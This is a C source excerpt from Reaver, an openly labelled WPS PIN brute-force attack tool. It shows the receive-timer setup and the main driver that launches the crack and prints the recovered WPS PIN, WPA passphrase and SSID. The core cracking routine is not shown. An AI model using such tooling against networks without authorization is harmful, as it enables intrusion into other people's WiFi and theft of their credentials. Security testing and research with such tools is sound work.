/* Starts receive timer. Called from send_packet() after a packet is trasmitted */
void start_timer()
{
struct itimerval timer;
struct wps_data *wps = get_wps();
memset(&timer, 0, sizeof(struct itimerval));
/*
* The M5 and M7 messages have very fast turn around times -
* typically a few hundreths of a second. We don't want to wait
* around forever to see if we get them or not, so use a short
* timeout value when waiting for those messages.
* Ignore this timeout if we know the AP responds with NACKs when
* the wrong pin is supplied instead of not responding at all.
*/
if(get_timeout_is_nack() &&
(wps->state == RECV_M5 || wps->state == RECV_M7))
{
timer.it_value.tv_usec = get_m57_timeout();
}
else
{
/*
* Other messages may take up to 2 seconds to respond -
* wait a little longer for them.
*/
timer.it_value.tv_sec = get_rx_timeout();
}
set_out_of_time(0);
setitimer(ITIMER_REAL, &timer, 0);
}
int reaver_main(int argc, char **argv)
{
int ret_val = EXIT_FAILURE, r = 0;
time_t start_time = 0, end_time = 0;
struct wps_data *wps = NULL;
globule_init();
init_default_settings();
fprintf(stderr, "\nReaver v%s WiFi Protected Setup Attack Tool\n", get_version());
fprintf(stderr, "Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <*****@*****.**>\n\n");
if(argc < 2)
{
ret_val = reaver_usage(argv[0]);
goto end;
}
/* Process the command line arguments */
if(process_arguments(argc, argv) == EXIT_FAILURE)
{
ret_val = reaver_usage(argv[0]);
goto end;
}
/* Double check reaver_usage */
if(!get_iface() || (memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) == 0))
{
reaver_usage(argv[0]);
goto end;
}
/* If no MAC address was provided, get it ourselves */
if(memcmp(get_mac(), NULL_MAC, MAC_ADDR_LEN) == 0)
{
if(!read_iface_mac())
{
fprintf(stderr, "[-] Failed to retrieve a MAC address for interface '%s'!\n", get_iface());
goto end;
}
}
/* Sanity checking on the message timeout value */
if(get_m57_timeout() > M57_MAX_TIMEOUT)
{
set_m57_timeout(M57_MAX_TIMEOUT);
}
else if(get_m57_timeout() <= 0)
{
set_m57_timeout(M57_DEFAULT_TIMEOUT);
}
/* Sanity checking on the receive timeout value */
if(get_rx_timeout() <= 0)
{
set_rx_timeout(DEFAULT_TIMEOUT);
}
/* Initialize signal handlers */
sigint_init();
sigalrm_init();
/* Mark the start time */
start_time = time(NULL);
/* Do it. */
crack();
/* Mark the end time */
end_time = time(NULL);
/* Check our key status */
if(get_key_status() == KEY_DONE)
{
wps = get_wps();
cprintf(VERBOSE, "[+] Pin cracked in %d seconds\n", (int) (end_time - start_time));
cprintf(CRITICAL, "[+] WPS PIN: '%s'\n", get_pin());
if(wps->key) cprintf(CRITICAL, "[+] WPA PSK: '%s'\n", wps->key);
if(wps->essid) cprintf(CRITICAL, "[+] AP SSID: '%s'\n", wps->essid);
/* Run user-supplied command */
if(get_exec_string())
{
r = system(get_exec_string());
}
ret_val = EXIT_SUCCESS;
}
else
{
cprintf(CRITICAL, "[-] Failed to recover WPA key\n");
}
save_session();
end:
globule_deinit();
return ret_val;
}
